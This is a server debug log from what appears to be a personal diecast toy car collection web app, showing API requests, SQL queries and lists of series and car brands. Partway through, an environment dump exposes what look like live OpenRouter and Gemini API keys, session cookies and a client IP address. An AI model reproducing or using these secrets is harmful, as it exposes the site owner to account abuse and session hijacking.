      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:33:13.465Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:33:13.466Z server-connect:app Executing action step identify
2026-02-03T12:33:13.466Z server-connect:app options: { provider: 'security' }
2026-02-03T12:33:13.466Z server-connect:output identity: 1
2026-02-03T12:33:13.466Z server-connect:app Executing action step restrict
2026-02-03T12:33:13.466Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:33:13.466Z server-connect:output restrict: undefined
2026-02-03T12:33:13.466Z server-connect:app Executing action step paged
2026-02-03T12:33:13.466Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:33:13.468Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'HW Rod Squad',
      id: 151,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:33:17.876Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:33:17.877Z server-connect:app Executing action step identify
2026-02-03T12:33:17.877Z server-connect:app options: { provider: 'security' }
2026-02-03T12:33:17.877Z server-connect:output identity: 1
2026-02-03T12:33:17.877Z server-connect:app Executing action step restrict
2026-02-03T12:33:17.877Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:33:17.877Z server-connect:output restrict: undefined
2026-02-03T12:33:17.877Z server-connect:app Executing action step paged
2026-02-03T12:33:17.878Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:33:17.879Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 54,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:33:20.734Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:33:20.734Z server-connect:app Executing action step identify
2026-02-03T12:33:20.734Z server-connect:app options: { provider: 'security' }
2026-02-03T12:33:20.734Z server-connect:output identity: 1
2026-02-03T12:33:20.734Z server-connect:app Executing action step restrict
2026-02-03T12:33:20.734Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:33:20.735Z server-connect:output restrict: undefined
2026-02-03T12:33:20.735Z server-connect:app Executing action step paged
2026-02-03T12:33:20.735Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:33:20.736Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'HW Reverse Rake',
      id: 150,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:35:41.334Z server-connect:router Serving templateView /diecast
2026-02-03T12:35:41.335Z server-connect:app Executing action step identify
2026-02-03T12:35:41.335Z server-connect:app options: { provider: 'security' }
2026-02-03T12:35:41.335Z server-connect:output identity: 1
2026-02-03T12:35:41.335Z server-connect:app Executing action step restrict
2026-02-03T12:35:41.335Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:35:41.336Z server-connect:output restrict: undefined
2026-02-03T12:35:41.336Z server-connect:router Render template diecast
2026-02-03T12:35:41.337Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:35:41.632Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:35:41.633Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:35:41.633Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T12:35:41.634Z server-connect:app Executing action step identify
2026-02-03T12:35:41.634Z server-connect:app options: { provider: 'security' }
2026-02-03T12:35:41.634Z server-connect:output identity: 1
2026-02-03T12:35:41.634Z server-connect:app Executing action step restrict
2026-02-03T12:35:41.634Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:35:41.636Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:35:41.637Z server-connect:app Executing action step identify
2026-02-03T12:35:41.637Z server-connect:app options: { provider: 'security' }
2026-02-03T12:35:41.637Z server-connect:output identity: 1
2026-02-03T12:35:41.637Z server-connect:app Executing action step restrict
2026-02-03T12:35:41.637Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:35:41.638Z server-connect:output restrict: undefined
2026-02-03T12:35:41.638Z server-connect:app Executing action step select
2026-02-03T12:35:41.638Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:35:41.638Z server-connect:app Executing action step identify
2026-02-03T12:35:41.638Z server-connect:app options: { provider: 'security' }
2026-02-03T12:35:41.639Z server-connect:output identity: 1
2026-02-03T12:35:41.639Z server-connect:app Executing action step restrict
2026-02-03T12:35:41.639Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:35:41.641Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T12:35:41.641Z server-connect:app Executing action step identify
2026-02-03T12:35:41.641Z server-connect:app options: { provider: 'security' }
2026-02-03T12:35:41.641Z server-connect:output identity: 1
2026-02-03T12:35:41.641Z server-connect:app Executing action step restrict
2026-02-03T12:35:41.641Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:35:41.642Z server-connect:output restrict: undefined
2026-02-03T12:35:41.642Z server-connect:app Executing action step select
2026-02-03T12:35:41.642Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:35:41.643Z server-connect:output restrict: undefined
2026-02-03T12:35:41.643Z server-connect:app Executing action step paged
2026-02-03T12:35:41.643Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T12:35:41.645Z server-connect:output restrict: undefined
2026-02-03T12:35:41.645Z server-connect:app Executing action step select
2026-02-03T12:35:41.645Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:35:41.645Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T12:35:41.646Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-02-03T12:35:41.647Z server-connect:app Executing action step identify
2026-02-03T12:35:41.647Z server-connect:app options: { provider: 'security' }
2026-02-03T12:35:41.647Z server-connect:output identity: 1
2026-02-03T12:35:41.647Z server-connect:app Executing action step restrict
2026-02-03T12:35:41.647Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:35:41.650Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-02-03T12:35:41.651Z server-connect:output restrict: undefined
2026-02-03T12:35:41.651Z server-connect:app Executing action step select
2026-02-03T12:35:41.651Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:35:41.653Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T12:35:41.653Z server-connect:app Executing action step select
2026-02-03T12:35:41.653Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:35:41.654Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T12:35:41.654Z server-connect:app Executing action step select
2026-02-03T12:35:41.654Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
